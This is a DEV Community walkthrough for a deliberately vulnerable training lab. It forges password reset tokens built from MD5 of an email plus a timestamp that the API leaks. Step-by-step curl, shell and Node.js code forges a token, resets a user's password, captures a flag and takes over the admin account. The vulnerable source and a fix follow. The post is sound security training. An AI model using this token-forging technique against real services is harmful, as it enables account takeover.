DEV Community

Cover image for This reset token uses MD5 — but that's not the real bug
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

This reset token uses MD5 — but that's not the real bug

Exploit a predictable password reset token generation mechanism to take over any user account.

The password reset on OopsSec Store builds tokens from MD5(email + timestamp). The timestamp is right there in the API response. You can forge a valid reset token for any account in one request.

Lab setup

Start the lab:

npx create-oss-store@latest
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

Target identification

Step 1: Find the password reset flow

Go to /login. There's a "Forgot password?" link below the password field. Click it to reach /login/forgot-password.

Step 2: Watch the API response

Enter your own email (e.g., alice@example.com) and submit. Open DevTools (Network tab) and look at the response from POST /api/auth/forgot-password:

{
  "message": "If an account with that email exists, a password reset link has been sent.",
  "requestedAt": "2026-02-26T10:30:45.123Z"
}
Enter fullscreen mode Exit fullscreen mode

That requestedAt field is a precise ISO timestamp. Why would a "check your email" response include the exact server time?

Exploitation

Step 3: Figure out the token algorithm

Dig into the source or experiment. The reset token is:

token = MD5(email + Math.floor(Date.now() / 1000))
Enter fullscreen mode Exit fullscreen mode

The requestedAt timestamp tells you the exact second the token was created.

Step 4: Request a reset for any user

Pick a target. Alice works:

curl -s -X POST http://localhost:3000/api/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com"}'
Enter fullscreen mode Exit fullscreen mode

Grab the requestedAt value from the response.

Step 5: Forge the token

Convert the ISO timestamp to Unix seconds and compute the MD5 hash:

# Example: requestedAt = "2026-02-26T10:30:45.123Z"
TIMESTAMP=$(date -d "2026-02-26T10:30:45.123Z" +%s)
TOKEN=$(echo -n "alice@example.com${TIMESTAMP}" | md5sum | cut -d' ' -f1)
echo $TOKEN
Enter fullscreen mode Exit fullscreen mode

Or with Node.js:

const crypto = require("crypto");
const requestedAt = "2026-02-26T10:30:45.123Z";
const timestamp = Math.floor(new Date(requestedAt).getTime() / 1000);
const token = crypto
  .createHash("md5")
  .update("alice@example.com" + timestamp)
  .digest("hex");
console.log(token);
Enter fullscreen mode Exit fullscreen mode

Step 6: Reset the password and get the flag

curl -s -X POST http://localhost:3000/api/auth/reset-password \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"${TOKEN}\",\"password\":\"hacked123\"}"
Enter fullscreen mode Exit fullscreen mode
{
  "message": "Your password has been reset successfully.",
  "flag": "OSS{1ns3cur3_p4ssw0rd_r3s3t}"
}
Enter fullscreen mode Exit fullscreen mode

Bonus: admin account takeover

Same technique, different email. Request a reset for admin@oss.com, forge the token, reset the password, log in at /login.

Vulnerable code analysis

The bug is in the token generation at /app/api/auth/forgot-password/route.ts:

// app/api/auth/forgot-password/route.ts
const now = new Date();
const requestedAt = now.toISOString();
const timestamp = Math.floor(now.getTime() / 1000);

const token = hashMD5(email + timestamp);

return NextResponse.json({
  message:
    "If an account with that email exists, a password reset link has been sent.",
  requestedAt, // This leaks the timestamp used in token generation
});
Enter fullscreen mode Exit fullscreen mode

Both inputs to the hash are known to the attacker. They sent the email in the request. The server hands back the timestamp in the response. That's everything you need.

Remediation

Generate tokens with crypto.randomBytes instead of a deterministic hash:

import crypto from "crypto";

const token = crypto.randomBytes(32).toString("hex");
Enter fullscreen mode Exit fullscreen mode

Drop the requestedAt field from the response, and add rate limiting on the endpoint.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
Enter fullscreen mode Exit fullscreen mode

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (1)

Collapse
 
topstar_ai profile image
Luis Cruz

It's fascinating to see how a seemingly benign feature like a password reset can expose such critical vulnerabilities. The suggestion to use crypto.randomBytes for token generation is spot on; it eliminates predictability and significantly enhances security. I also recommend implementing additional logging to monitor repeated reset requests, which could help identify potential abuse. If you're looking for support in refining this project or enhancing its security further, I’d be happy to discuss a paid collaboration. What are your thoughts on integrating further security measures, like monitoring or alerting, for this kind of feature?